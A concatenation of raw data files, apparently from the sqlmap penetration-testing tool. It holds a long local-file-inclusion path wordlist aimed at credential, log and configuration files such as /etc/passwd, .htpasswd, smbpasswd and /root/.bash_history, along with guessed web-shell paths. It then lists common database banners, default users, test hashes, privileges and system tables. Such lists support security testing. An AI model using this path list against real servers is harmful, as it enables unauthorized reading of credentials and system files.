/usr/internet/pgsql/data/postmaster.log /usr/lib/cron/log /usr/lib/php.ini /usr/lib/php/php.ini /usr/lib/security/mkuser.default /usr/local/jboss/server/default/conf/jboss-minimal.xml /usr/local/jboss/server/default/conf/jboss-service.xml /usr/local/jboss/server/default/conf/jndi.properties /usr/local/jboss/server/default/conf/log4j.xml /usr/local/jboss/server/default/conf/login-config.xml /usr/local/jboss/server/default/conf/server.log.properties /usr/local/jboss/server/default/conf/standardjaws.xml /usr/local/jboss/server/default/conf/standardjboss.xml /usr/local/jboss/server/default/deploy/jboss-logging.xml /usr/local/jboss/server/default/log/boot.log /usr/local/jboss/server/default/log/server.log /usr/local/apache/apache.conf /usr/local/apache/apache2.conf /usr/local/apache/conf/access.conf /usr/local/apache/conf/apache.conf /usr/local/apache/conf/apache2.conf /usr/local/apache/conf/httpd.conf /usr/local/apache/conf/httpd.conf.default /usr/local/apache/conf/modsec.conf /usr/local/apache/conf/php.ini /usr/local/apache/conf/vhosts-custom.conf /usr/local/apache/conf/vhosts.conf /usr/local/apache/httpd.conf /usr/local/apache/logs/access.log /usr/local/apache/logs/access_log /usr/local/apache/logs/audit_log /usr/local/apache/logs/error.log /usr/local/apache/logs/error_log /usr/local/apache/logs/lighttpd.error.log /usr/local/apache/logs/lighttpd.log /usr/local/apache/logs/mod_jk.log /usr/local/apache1.3/conf/httpd.conf /usr/local/apache2/apache.conf /usr/local/apache2/apache2.conf /usr/local/apache2/conf/apache.conf /usr/local/apache2/conf/apache2.conf /usr/local/apache2/conf/extra/httpd-ssl.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache2/conf/modsec.conf /usr/local/apache2/conf/ssl.conf /usr/local/apache2/conf/vhosts-custom.conf /usr/local/apache2/conf/vhosts.conf /usr/local/apache2/httpd.conf /usr/local/apache2/logs/access.log /usr/local/apache2/logs/access_log /usr/local/apache2/logs/audit_log /usr/local/apache2/logs/error.log /usr/local/apache2/logs/error_log /usr/local/apache2/logs/lighttpd.error.log /usr/local/apache2/logs/lighttpd.log /usr/local/apache22/conf/httpd.conf /usr/local/apache22/httpd.conf /usr/local/apps/apache/conf/httpd.conf /usr/local/apps/apache2/conf/httpd.conf /usr/local/apps/apache22/conf/httpd.conf /usr/local/cpanel/logs/access_log /usr/local/cpanel/logs/error_log /usr/local/cpanel/logs/license_log /usr/local/cpanel/logs/login_log /usr/local/cpanel/logs/stats_log /usr/local/etc/apache/conf/httpd.conf /usr/local/etc/apache/httpd.conf /usr/local/etc/apache/vhosts.conf /usr/local/etc/apache2/conf/httpd.conf /usr/local/etc/apache2/httpd.conf /usr/local/etc/apache2/vhosts.conf /usr/local/etc/apache22/conf/httpd.conf /usr/local/etc/apache22/httpd.conf /usr/local/etc/httpd/conf /usr/local/etc/httpd/conf/httpd.conf /usr/local/etc/lighttpd.conf /usr/local/etc/lighttpd.conf.new /usr/local/etc/nginx/nginx.conf /usr/local/etc/php.ini /usr/local/etc/pure-ftpd.conf /usr/local/etc/pureftpd.pdb /usr/local/etc/smb.conf /usr/local/etc/webmin/miniserv.conf /usr/local/etc/webmin/miniserv.users /usr/local/httpd/conf/httpd.conf /usr/local/jakarta/dist/tomcat/conf/context.xml /usr/local/jakarta/dist/tomcat/conf/jakarta.conf /usr/local/jakarta/dist/tomcat/conf/logging.properties /usr/local/jakarta/dist/tomcat/conf/server.xml /usr/local/jakarta/dist/tomcat/conf/workers.properties /usr/local/jakarta/dist/tomcat/logs/mod_jk.log /usr/local/jakarta/tomcat/conf/context.xml /usr/local/jakarta/tomcat/conf/jakarta.conf /usr/local/jakarta/tomcat/conf/logging.properties /usr/local/jakarta/tomcat/conf/server.xml /usr/local/jakarta/tomcat/conf/workers.properties /usr/local/jakarta/tomcat/logs/catalina.err /usr/local/jakarta/tomcat/logs/catalina.out /usr/local/jakarta/tomcat/logs/mod_jk.log /usr/local/lib/php.ini /usr/local/lighttpd/conf/lighttpd.conf /usr/local/lighttpd/log/access.log /usr/local/lighttpd/log/lighttpd.error.log /usr/local/logs/access.log /usr/local/logs/samba.log /usr/local/lsws/conf/httpd_conf.xml /usr/local/lsws/logs/error.log /usr/local/mysql/data/mysql-bin.index /usr/local/mysql/data/mysql-bin.log /usr/local/mysql/data/mysql-slow.log /usr/local/mysql/data/mysql.err /usr/local/mysql/data/mysql.log /usr/local/mysql/data/mysqlderror.log /usr/local/nginx/conf/nginx.conf /usr/local/pgsql/bin/pg_passwd /usr/local/pgsql/data/passwd /usr/local/pgsql/data/pg_hba.conf /usr/local/pgsql/data/pg_log /usr/local/pgsql/data/postgresql.conf /usr/local/pgsql/data/postgresql.log /usr/local/php/apache.conf /usr/local/php/apache.conf.php /usr/local/php/apache2.conf /usr/local/php/apache2.conf.php /usr/local/php/httpd.conf /usr/local/php/httpd.conf.php /usr/local/php/lib/php.ini /usr/local/php4/apache.conf /usr/local/php4/apache.conf.php /usr/local/php4/apache2.conf /usr/local/php4/apache2.conf.php /usr/local/php4/httpd.conf /usr/local/php4/httpd.conf.php /usr/local/php4/lib/php.ini /usr/local/php5/apache.conf /usr/local/php5/apache.conf.php /usr/local/php5/apache2.conf /usr/local/php5/apache2.conf.php /usr/local/php5/httpd.conf /usr/local/php5/httpd.conf.php /usr/local/php5/lib/php.ini /usr/local/psa/admin/conf/php.ini /usr/local/psa/admin/conf/site_isolation_settings.ini /usr/local/psa/admin/htdocs/domains/databases/phpmyadmin/libraries/config.default.php /usr/local/psa/admin/logs/httpsd_access_log /usr/local/psa/admin/logs/panel.log /usr/local/pureftpd/etc/pure-ftpd.conf /usr/local/pureftpd/etc/pureftpd.pdb /usr/local/pureftpd/sbin/pure-config.pl /usr/local/samba/lib/log.user /usr/local/samba/lib/smb.conf.user /usr/local/sb/config /usr/local/squirrelmail/www/readme /usr/local/zend/etc/php.ini /usr/local/zeus/web/global.cfg /usr/local/zeus/web/log/errors /usr/pkg/etc/httpd/httpd-default.conf /usr/pkg/etc/httpd/httpd-vhosts.conf /usr/pkg/etc/httpd/httpd.conf /usr/pkgsrc/net/pureftpd/pure-ftpd.conf /usr/pkgsrc/net/pureftpd/pureftpd.passwd /usr/pkgsrc/net/pureftpd/pureftpd.pdb /usr/ports/contrib/pure-ftpd/pure-ftpd.conf /usr/ports/contrib/pure-ftpd/pureftpd.passwd /usr/ports/contrib/pure-ftpd/pureftpd.pdb /usr/ports/ftp/pure-ftpd/pure-ftpd.conf /usr/ports/ftp/pure-ftpd/pureftpd.passwd /usr/ports/ftp/pure-ftpd/pureftpd.pdb /usr/ports/net/pure-ftpd/pure-ftpd.conf /usr/ports/net/pure-ftpd/pureftpd.passwd /usr/ports/net/pure-ftpd/pureftpd.pdb /usr/sbin/mudlogd /usr/sbin/mudpasswd /usr/sbin/pure-config.pl /usr/share/adduser/adduser.conf /usr/share/logs/catalina.err /usr/share/logs/catalina.out /usr/share/squirrelmail/config/config.php /usr/share/squirrelmail/plugins/squirrel_logger/setup.php /usr/share/tomcat/logs/catalina.err /usr/share/tomcat/logs/catalina.out /usr/share/tomcat6/conf/context.xml /usr/share/tomcat6/conf/logging.properties /usr/share/tomcat6/conf/server.xml /usr/share/tomcat6/conf/workers.properties /usr/share/tomcat6/logs/catalina.err /usr/share/tomcat6/logs/catalina.out /usr/spool/lp/log /usr/spool/mqueue/syslog /var/adm/acct/sum/loginlog /var/adm/aculog /var/adm/aculogs /var/adm/crash/unix /var/adm/crash/vmcore /var/adm/cron/log /var/adm/dtmp /var/adm/lastlog/username /var/adm/log/asppp.log /var/adm/log/xferlog /var/adm/loginlog /var/adm/lp/lpd-errs /var/adm/messages /var/adm/pacct /var/adm/qacct /var/adm/ras/bootlog /var/adm/ras/errlog /var/adm/sulog /var/adm/syslog /var/adm/utmp /var/adm/utmpx /var/adm/vold.log /var/adm/wtmp /var/adm/wtmpx /var/adm/x0msgs /var/apache/conf/httpd.conf /var/cpanel/cpanel.config /var/cpanel/tomcat.options /var/cron/log /var/data/mysql-bin.index /var/lib/mysql/my.cnf /var/lib/pgsql/data/postgresql.conf /var/lib/squirrelmail/prefs/squirrelmail.log /var/lighttpd.log /var/local/www/conf/php.ini /var/log/access.log /var/log/access_log /var/log/apache/access.log /var/log/apache/access_log /var/log/apache/error.log /var/log/apache/error_log /var/log/apache2/access.log /var/log/apache2/access_log /var/log/apache2/error.log /var/log/apache2/error_log /var/log/apache2/squirrelmail.err.log /var/log/apache2/squirrelmail.log /var/log/auth.log /var/log/auth.log /var/log/authlog /var/log/boot.log /var/log/cron/var/log/postgres.log /var/log/daemon.log /var/log/daemon.log.1 /var/log/data/mysql-bin.index /var/log/error.log /var/log/error_log /var/log/exim/mainlog /var/log/exim/paniclog /var/log/exim/rejectlog /var/log/exim_mainlog /var/log/exim_paniclog /var/log/exim_rejectlog /var/log/ftp-proxy /var/log/ftp-proxy/ftp-proxy.log /var/log/ftplog /var/log/httpd/access.log /var/log/httpd/access_log /var/log/httpd/error.log /var/log/httpd/error_log /var/log/ipfw /var/log/ipfw.log /var/log/ipfw.today /var/log/ipfw/ipfw.log /var/log/kern.log /var/log/kern.log.1 /var/log/lighttpd.access.log /var/log/lighttpd.error.log /var/log/lighttpd/access.log /var/log/lighttpd/access.www.log /var/log/lighttpd/error.log /var/log/lighttpd/error.www.log /var/log/log.smb /var/log/mail.err /var/log/mail.info /var/log/mail.log /var/log/mail.log /var/log/mail.warn /var/log/maillog /var/log/messages /var/log/messages.1 /var/log/muddleftpd /var/log/muddleftpd.conf /var/log/mysql-bin.index /var/log/mysql.err /var/log/mysql.log /var/log/mysql/data/mysql-bin.index /var/log/mysql/mysql-bin.index /var/log/mysql/mysql-bin.log /var/log/mysql/mysql-slow.log /var/log/mysql/mysql.log /var/log/mysqlderror.log /var/log/news.all /var/log/news/news.all /var/log/news/news.crit /var/log/news/news.err /var/log/news/news.notice /var/log/news/suck.err /var/log/news/suck.notice /var/log/nginx.access_log /var/log/nginx.error_log /var/log/nginx/access.log /var/log/nginx/access_log /var/log/nginx/error.log /var/log/nginx/error_log /var/log/pgsql/pgsql.log /var/log/pgsql8.log /var/log/pgsql_log /var/log/pm-powersave.log /var/log/poplog /var/log/postgres/pg_backup.log /var/log/postgres/postgres.log /var/log/postgresql.log /var/log/postgresql/main.log /var/log/postgresql/postgres.log /var/log/postgresql/postgresql-8.1-main.log /var/log/postgresql/postgresql-8.3-main.log /var/log/postgresql/postgresql-8.4-main.log /var/log/postgresql/postgresql-9.0-main.log /var/log/postgresql/postgresql-9.1-main.log /var/log/postgresql/postgresql.log /var/log/proftpd /var/log/proftpd.access_log /var/log/proftpd.xferlog /var/log/proftpd/xferlog.legacy /var/log/pure-ftpd/pure-ftpd.log /var/log/pureftpd.log /var/log/samba.log /var/log/samba.log1 /var/log/samba.log2 /var/log/samba/log.nmbd /var/log/samba/log.smbd /var/log/squirrelmail.log /var/log/sso/sso.log /var/log/sw-cp-server/error_log /var/log/syslog /var/log/syslog.1 /var/log/thttpd_log /var/log/tomcat6/catalina.out /var/log/ufw.log /var/log/user.log /var/log/user.log.1 /var/log/vmware/hostd-1.log /var/log/vmware/hostd.log /var/log/vsftpd.log /var/log/webmin/miniserv.log /var/log/xferlog /var/log/xorg.0.log /var/logs/access.log /var/lp/logs/lpnet /var/lp/logs/lpsched /var/lp/logs/requests /var/mysql-bin.index /var/mysql.log /var/nm2/postgresql.conf /var/postgresql/db/postgresql.conf /var/postgresql/log/postgresql.log /var/saf/_log /var/saf/port/log /var/www/.lighttpdpassword /var/www/conf /var/www/conf/httpd.conf /var/www/html/squirrelmail-1.2.9/config/config.php /var/www/html/squirrelmail/config/config.php /var/www/logs/access.log /var/www/logs/access_log /var/www/logs/error.log /var/www/logs/error_log /var/www/squirrelmail/config/config.php /volumes/macintosh_hd1/opt/apache/conf/httpd.conf /volumes/macintosh_hd1/opt/apache2/conf/httpd.conf /volumes/macintosh_hd1/opt/httpd/conf/httpd.conf /volumes/macintosh_hd1/usr/local/php/httpd.conf.php /volumes/macintosh_hd1/usr/local/php/lib/php.ini /volumes/macintosh_hd1/usr/local/php4/httpd.conf.php /volumes/macintosh_hd1/usr/local/php5/httpd.conf.php /volumes/webbackup/opt/apache2/conf/httpd.conf /volumes/webbackup/private/etc/httpd/httpd.conf /volumes/webbackup/private/etc/httpd/httpd.conf.default /wamp/bin/apache/apache2.2.21/conf/httpd.conf /wamp/bin/apache/apache2.2.21/logs/access.log /wamp/bin/apache/apache2.2.21/logs/error.log /wamp/bin/apache/apache2.2.21/wampserver.conf /wamp/bin/apache/apache2.2.22/conf/httpd.conf /wamp/bin/apache/apache2.2.22/conf/wampserver.conf /wamp/bin/apache/apache2.2.22/logs/access.log /wamp/bin/apache/apache2.2.22/logs/error.log /wamp/bin/apache/apache2.2.22/wampserver.conf /wamp/bin/mysql/mysql5.5.16/data/mysql-bin.index /wamp/bin/mysql/mysql5.5.16/my.ini /wamp/bin/mysql/mysql5.5.16/wampserver.conf /wamp/bin/mysql/mysql5.5.24/data/mysql-bin.index /wamp/bin/mysql/mysql5.5.24/my.ini /wamp/bin/mysql/mysql5.5.24/wampserver.conf /wamp/bin/php/php5.3.8/php.ini /wamp/bin/php/php5.4.3/php.ini /wamp/logs/access.log /wamp/logs/apache_error.log /wamp/logs/genquery.log /wamp/logs/mysql.log /wamp/logs/slowquery.log /web/conf/php.ini /windows/comsetup.log /windows/debug/netsetup.log /windows/odbc.ini /windows/php.ini /windows/repair/setup.log /windows/setupact.log /windows/setupapi.log /windows/setuperr.log /windows/win.ini /windows/system32/drivers/etc/hosts /windows/system32/drivers/etc/lmhosts.sam /windows/system32/drivers/etc/networks /windows/system32/drivers/etc/protocol /windows/system32/drivers/etc/services /windows/system32/logfiles/firewall/pfirewall.log /windows/system32/logfiles/firewall/pfirewall.log.old /windows/system32/logfiles/msftpsvc /windows/system32/logfiles/msftpsvc1 /windows/system32/logfiles/msftpsvc2 /windows/system32/logfiles/smtpsvc /windows/system32/logfiles/smtpsvc1 /windows/system32/logfiles/smtpsvc2 /windows/system32/logfiles/smtpsvc3 /windows/system32/logfiles/smtpsvc4 /windows/system32/logfiles/smtpsvc5 /windows/system32/logfiles/w3svc/inetsvn1.log /windows/system32/logfiles/w3svc1/inetsvn1.log /windows/system32/logfiles/w3svc2/inetsvn1.log /windows/system32/logfiles/w3svc3/inetsvn1.log /windows/system32/macromed/flash/flashinstall.log /windows/system32/macromed/flash/install.log /windows/updspapi.log /windows/windowsupdate.log /windows/wmsetup.log /winnt/php.ini /winnt/system32/logfiles/firewall/pfirewall.log /winnt/system32/logfiles/firewall/pfirewall.log.old /winnt/system32/logfiles/msftpsvc /winnt/system32/logfiles/msftpsvc1 /winnt/system32/logfiles/msftpsvc2 /winnt/system32/logfiles/smtpsvc /winnt/system32/logfiles/smtpsvc1 /winnt/system32/logfiles/smtpsvc2 /winnt/system32/logfiles/smtpsvc3 /winnt/system32/logfiles/smtpsvc4 /winnt/system32/logfiles/smtpsvc5 /winnt/system32/logfiles/w3svc/inetsvn1.log /winnt/system32/logfiles/w3svc1/inetsvn1.log /winnt/system32/logfiles/w3svc2/inetsvn1.log /winnt/system32/logfiles/w3svc3/inetsvn1.log /www/apache/conf/httpd.conf /www/conf/httpd.conf /www/logs/freebsddiary-access_log /www/logs/freebsddiary-error.log /www/logs/proftpd.system.log /xampp/apache/bin/php.ini /xampp/apache/conf/httpd.conf /xampp/apache/logs/access.log /xampp/apache/logs/error.log /xampp/filezillaftp/filezilla server.xml /xampp/htdocs/aca.txt /xampp/htdocs/admin.php /xampp/htdocs/leer.txt /xampp/mercurymail/mercury.ini /xampp/mysql/data/mysql-bin.index /xampp/mysql/data/mysql.err /xampp/php/php.ini /xampp/phpmyadmin/config.inc.php /xampp/sendmail/sendmail.ini /xampp/sendmail/sendmail.log /xampp/webalizer/webalizer.conf \autoexec.bat \boot.ini \inetpub\wwwroot\web.config \web.config \windows\system32\drivers\etc\hosts \windows\win.ini # Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt /etc/apache2/.htpasswd /etc/apache/.htpasswd /etc/master.passwd /etc/muddleftpd/muddleftpd.passwd /etc/muddleftpd/passwd /etc/passwd /etc/passwd~ /etc/passwd- /etc/pureftpd.passwd /etc/samba/private/smbpasswd /etc/samba/smbpasswd /etc/security/opasswd /etc/security/passwd /etc/smbpasswd \Program Files\xampp\apache\conf\httpd.conf /usr/local/pgsql/bin/pg_passwd /usr/local/pgsql/data/passwd /usr/pkgsrc/net/pureftpd/pureftpd.passwd /usr/ports/contrib/pure-ftpd/pureftpd.passwd /usr/ports/ftp/pure-ftpd/pureftpd.passwd /usr/ports/net/pure-ftpd/pureftpd.passwd /var/log/exim_rejectlog/etc/passwd /etc/mysql/conf.d/old_passwords.cnf /etc/password.master /var/www/.lighttpdpassword /Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf /Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf /Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf /Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php /Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php /Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php /Volumes/Macintosh_HD1/usr/local/php/lib/php.ini /Volumes/webBackup/opt/apache2/conf/httpd.conf /Volumes/webBackup/private/etc/httpd/httpd.conf /Volumes/webBackup/private/etc/httpd/httpd.conf.default # Reference: https://pastebin.com/KgPsDXjg /etc/passwd /etc/crontab /etc/hosts /etc/my.cnf /etc/.htpasswd /root/.bash_history /etc/named.conf /proc/self/environ /etc/php.ini /bin/php.ini /etc/httpd/php.ini /usr/lib/php.ini /usr/lib/php/php.ini /usr/local/etc/php.ini /usr/local/lib/php.ini /usr/local/php/lib/php.ini /usr/local/php4/lib/php.ini /usr/local/php5/lib/php.ini /usr/local/apache/conf/php.ini /etc/php4.4/fcgi/php.ini /etc/php4/apache/php.ini /etc/php4/apache2/php.ini /etc/php5/apache/php.ini /etc/php5/apache2/php.ini /etc/php/7.4/apache2/php.ini /etc/php/php.ini /usr/local/apache/conf/modsec.conf /var/cpanel/cpanel.config /proc/self/environ /proc/self/fd/2 /etc/ssh/sshd_config /var/lib/mysql/my.cnf /etc/mysql/my.cnf /etc/my.cnf /etc/logrotate.d/proftpd /www/logs/proftpd.system.log /var/log/proftpd /etc/proftp.conf /etc/protpd/proftpd.conf /etc/vhcs2/proftpd/proftpd.conf /etc/proftpd/modules.conf /etc/vsftpd.chroot_list /etc/vsftpd/vsftpd.conf /etc/vsftpd.conf /etc/chrootUsers /etc/wu-ftpd/ftpaccess /etc/wu-ftpd/ftphosts /etc/wu-ftpd/ftpusers /usr/sbin/pure-config.pl /usr/etc/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.conf /usr/local/etc/pure-ftpd.conf /usr/local/etc/pureftpd.pdb /usr/local/pureftpd/etc/pureftpd.pdb /usr/local/pureftpd/sbin/pure-config.pl /usr/local/pureftpd/etc/pure-ftpd.conf /etc/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.pdb /etc/pureftpd.pdb /etc/pureftpd.passwd /etc/pure-ftpd/pureftpd.pdb /var/log/ftp-proxy /etc/logrotate.d/ftp /etc/ftpchroot /etc/ftphosts /etc/smbpasswd /etc/smb.conf /etc/samba/smb.conf /etc/samba/samba.conf /etc/samba/smb.conf.user /etc/samba/smbpasswd /etc/samba/smbusers /var/lib/pgsql/data/postgresql.conf /var/postgresql/db/postgresql.conf /etc/ipfw.conf /etc/firewall.rules /etc/ipfw.rules /usr/local/etc/webmin/miniserv.conf /etc/webmin/miniserv.conf /usr/local/etc/webmin/miniserv.users /etc/webmin/miniserv.users /etc/squirrelmail/config/config.php /etc/squirrelmail/config.php /etc/httpd/conf.d/squirrelmail.conf /usr/share/squirrelmail/config/config.php /private/etc/squirrelmail/config/config.php /srv/www/htdos/squirrelmail/config/config.php # Web shells /var/www/html/backdoor.php /var/www/html/b374k.php /var/www/html/c99.php /var/www/html/cmd.php /var/www/html/r57.php /var/www/html/shell.php /var/www/html/wso.php # Misc /app/app.js /app/configure.js /app/config/config.json /etc/grafana/grafana.ini /opt/kibana/config/kibana.yml /etc/kibana/kibana.yml /etc/elasticsearch/elasticsearch.yml sqlmap-1.9.6/data/txt/common-outputs.txt000066400000000000000000000441521502261744200203370ustar00rootroot00000000000000# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission [Banners] # MySQL 3.22. 3.23. 4.0. 4.1. 5.0. 5.1. 5.5. 5.6. 5.7. 6.0. 8.0. # PostgreSQL PostgreSQL 7.0 PostgreSQL 7.1 PostgreSQL 7.2 PostgreSQL 7.3 PostgreSQL 7.4 PostgreSQL 8.0 PostgreSQL 8.1 PostgreSQL 8.2 PostgreSQL 8.3 PostgreSQL 8.4 PostgreSQL 8.5 PostgreSQL 9.0 PostgreSQL 9.1 PostgreSQL 9.2 PostgreSQL 9.3 PostgreSQL 9.4 PostgreSQL 9.5 PostgreSQL 9.6 PostgreSQL 10. PostgreSQL 11. PostgreSQL 12. PostgreSQL 13. # Oracle Oracle Database 9i Standard Edition Release Oracle Database 9i Standard Edition Release 9. Oracle Database 9i Express Edition Release Oracle Database 9i Express Edition Release 9. Oracle Database 9i Enterprise Edition Release Oracle Database 9i Enterprise Edition Release 9. Oracle Database 10g Standard Edition Release Oracle Database 10g Standard Edition Release 10. Oracle Database 10g Express Edition Release Oracle Database 10g Enterprise Edition Release Oracle Database 10g Enterprise Edition Release 10. Oracle Database 11g Standard Edition Release Oracle Database 11g Standard Edition Release 11. Oracle Database 11g Express Edition Release Oracle Database 11g Express Edition Release 11. Oracle Database 11g Enterprise Edition Release Oracle Database 11g Enterprise Edition Release 11. Oracle Database 12c # Microsoft SQL Server Microsoft SQL Server 7.0 Microsoft SQL Server 2000 Microsoft SQL Server 2005 Microsoft SQL Server 2008 Microsoft SQL Server 2012 Microsoft SQL Server 2014 Microsoft SQL Server 2016 Microsoft SQL Server 2017 Microsoft SQL Server 2019 [Users] # MySQL >= 5.0 'debian-sys-maint'@'localhost' 'root'@'%' 'root'@'localhost' # MySQL < 5.0 debian-sys-maint root # PostgreSQL postgres # Oracle ANONYMOUS CTXSYS DBSNMP DIP DMSYS EXFSYS MDDATA MDSYS MGMT_VIEW OLAPSYS ORDPLUGINS ORDSYS OUTLN SCOTT SI_INFORMTN_SCHEMA SYS SYSMAN SYSTEM TSMSYS WMSYS XDB # Microsoft SQL Server sa [Passwords] # MySQL *00E247AC5F9AF26AE0194B41E1E769DEE1429A29 # testpass # PostgreSQL md599e5ea7a6f7c3269995cba3927fd0093 # testpass # Oracle 2D5A0C491B634F1B # testpass # Microsoft SQL Server 0x0100098a6200f657f7d012dfa7dc1fd1b154d4dfb8cd20596d22 # testpass [Privileges] # MySQL >= 5.0 ALTER ALTER ROUTINE CREATE CREATE ROUTINE CREATE TEMPORARY TABLES CREATE USER CREATE VIEW DELETE DROP EVENT EXECUTE FILE INDEX INSERT LOCK TABLES PROCESS REFERENCES RELOAD REPLICATION CLIENT REPLICATION SLAVE SELECT SHOW DATABASES SHOW VIEW SHUTDOWN SUPER TRIGGER UPDATE USAGE # MySQL < 5.0 select_priv insert_priv update_priv delete_priv create_priv drop_priv reload_priv shutdown_priv process_priv file_priv grant_priv references_priv index_priv alter_priv show_db_priv super_priv create_tmp_table_priv lock_tables_priv execute_priv repl_slave_priv repl_client_priv create_view_priv show_view_priv create_routine_priv alter_routine_priv create_user_priv # PostgreSQL catupd createdb super # Oracle ADMINISTER ANY SQL TUNING SET ADMINISTER DATABASE TRIGGER ADMINISTER RESOURCE MANAGER ADMINISTER SQL TUNING SET ADVISOR ALTER ANY CLUSTER ALTER ANY DIMENSION ALTER ANY EVALUATION CONTEXT ALTER ANY INDEX ALTER ANY INDEXTYPE ALTER ANY LIBRARY ALTER ANY MATERIALIZED VIEW ALTER ANY OUTLINE ALTER ANY PROCEDURE ALTER ANY ROLE ALTER ANY RULE ALTER ANY RULE SET ALTER ANY SEQUENCE ALTER ANY SQL PROFILE ALTER ANY TABLE ALTER ANY TRIGGER ALTER ANY TYPE ALTER DATABASE ALTER PROFILE ALTER RESOURCE COST ALTER ROLLBACK SEGMENT ALTER SESSION ALTER SYSTEM ALTER TABLESPACE ALTER USER ANALYZE ANY ANALYZE ANY DICTIONARY AUDIT ANY AUDIT SYSTEM BACKUP ANY TABLE BECOME USER CHANGE NOTIFICATION COMMENT ANY TABLE CREATE ANY CLUSTER CREATE ANY CONTEXT CREATE ANY DIMENSION CREATE ANY DIRECTORY CREATE ANY EVALUATION CONTEXT CREATE ANY INDEX CREATE ANY INDEXTYPE CREATE ANY JOB CREATE ANY LIBRARY CREATE ANY MATERIALIZED VIEW CREATE ANY OPERATOR CREATE ANY OUTLINE CREATE ANY PROCEDURE CREATE ANY RULE CREATE ANY RULE SET CREATE ANY SEQUENCE CREATE ANY SQL PROFILE CREATE ANY SYNONYM CREATE ANY TABLE CREATE ANY TRIGGER CREATE ANY TYPE CREATE ANY VIEW CREATE CLUSTER CREATE DATABASE LINK CREATE DIMENSION CREATE EVALUATION CONTEXT CREATE EXTERNAL JOB CREATE INDEXTYPE CREATE JOB CREATE LIBRARY CREATE MATERIALIZED VIEW CREATE OPERATOR CREATE PROCEDURE CREATE PROFILE CREATE PUBLIC DATABASE LINK CREATE PUBLIC SYNONYM CREATE ROLE CREATE ROLLBACK SEGMENT CREATE RULE CREATE RULE SET CREATE SEQUENCE CREATE SESSION CREATE SYNONYM CREATE TABLE CREATE TABLESPACE CREATE TRIGGER CREATE TYPE CREATE USER CREATE VIEW DEBUG ANY PROCEDURE DEBUG CONNECT SESSION DELETE ANY TABLE DEQUEUE ANY QUEUE DROP ANY CLUSTER DROP ANY CONTEXT DROP ANY DIMENSION DROP ANY DIRECTORY DROP ANY EVALUATION CONTEXT DROP ANY INDEX DROP ANY INDEXTYPE DROP ANY LIBRARY DROP ANY MATERIALIZED VIEW DROP ANY OPERATOR DROP ANY OUTLINE DROP ANY PROCEDURE DROP ANY ROLE DROP ANY RULE DROP ANY RULE SET DROP ANY SEQUENCE DROP ANY SQL PROFILE DROP ANY SYNONYM DROP ANY TABLE DROP ANY TRIGGER DROP ANY TYPE DROP ANY VIEW DROP PROFILE DROP PUBLIC DATABASE LINK DROP PUBLIC SYNONYM DROP ROLLBACK SEGMENT DROP TABLESPACE DROP USER ENQUEUE ANY QUEUE EXECUTE ANY CLASS EXECUTE ANY EVALUATION CONTEXT EXECUTE ANY INDEXTYPE EXECUTE ANY LIBRARY EXECUTE ANY OPERATOR EXECUTE ANY PROCEDURE EXECUTE ANY PROGRAM EXECUTE ANY RULE EXECUTE ANY RULE SET EXECUTE ANY TYPE EXPORT FULL DATABASE FLASHBACK ANY TABLE FORCE ANY TRANSACTION FORCE TRANSACTION GLOBAL QUERY REWRITE GRANT ANY OBJECT PRIVILEGE GRANT ANY PRIVILEGE GRANT ANY ROLE IMPORT FULL DATABASE INSERT ANY TABLE LOCK ANY TABLE MANAGE ANY FILE GROUP MANAGE ANY QUEUE MANAGE FILE GROUP MANAGE SCHEDULER MANAGE TABLESPACE MERGE ANY VIEW ON COMMIT REFRESH QUERY REWRITE READ ANY FILE GROUP RESTRICTED SESSION RESUMABLE SELECT ANY DICTIONARY SELECT ANY SEQUENCE SELECT ANY TABLE SELECT ANY TRANSACTION UNDER ANY TABLE UNDER ANY TYPE UNDER ANY VIEW UNLIMITED TABLESPACE UPDATE ANY TABLE [Roles] # Oracle AQ_ADMINISTRATOR_ROLE AQ_USER_ROLE AUTHENTICATEDUSER CONNECT CTXAPP DBA DELETE_CATALOG_ROLE EJBCLIENT EXECUTE_CATALOG_ROLE EXP_FULL_DATABASE GATHER_SYSTEM_STATISTICS HS_ADMIN_ROLE IMP_FULL_DATABASE JAVA_ADMIN JAVADEBUGPRIV JAVA_DEPLOY JAVAIDPRIV JAVASYSPRIV JAVAUSERPRIV LOGSTDBY_ADMINISTRATOR MGMT_USER OEM_ADVISOR OEM_MONITOR OLAP_DBA OLAP_USER RECOVERY_CATALOG_OWNER RESOURCE SCHEDULER_ADMIN SELECT_CATALOG_ROLE TABLE_ACCESSERS WM_ADMIN_ROLE XDBADMIN XDBWEBSERVICES [Databases] # MySQL information_schema performance_schema mysql phpmyadmin # PostgreSQL pg_catalog postgres public template0 template1 # Microsoft SQL Server AdventureWorks AdventureWorksDW master model msdb ReportServer ReportServerTempDB tempdb [Tables] # MySQL >= 5.0 CHARACTER_SETS COLLATION_CHARACTER_SET_APPLICABILITY COLLATIONS COLUMN_PRIVILEGES COLUMNS ENGINES EVENTS FILES GLOBAL_STATUS GLOBAL_VARIABLES KEY_COLUMN_USAGE PARTITIONS PLUGINS PROCESSLIST PROFILING REFERENTIAL_CONSTRAINTS ROUTINES SCHEMA_PRIVILEGES SCHEMATA SESSION_STATUS SESSION_VARIABLES STATISTICS TABLE_CONSTRAINTS TABLE_PRIVILEGES TABLES TRIGGERS USER_PRIVILEGES VIEWS # MySQL columns_priv db event func general_log help_category help_keyword help_relation help_topic host ndb_binlog_index plugin proc procs_priv servers slow_log tables_priv time_zone time_zone_leap_second time_zone_name time_zone_transition time_zone_transition_type user # phpMyAdmin pma_bookmark pma_column_info pma_designer_coords pma_history pma_pdf_pages pma_relation pma_table_coords pma_table_info # PostgreSQL pg_aggregate pg_am pg_amop pg_amproc pg_attrdef pg_attribute pg_authid pg_auth_members pg_cast pg_class pg_constraint pg_conversion pg_database pg_depend pg_description pg_enum pg_foreign_data_wrapper pg_foreign_server pg_index pg_inherits pg_language pg_largeobject pg_listener pg_namespace pg_opclass pg_operator pg_opfamily pg_pltemplate 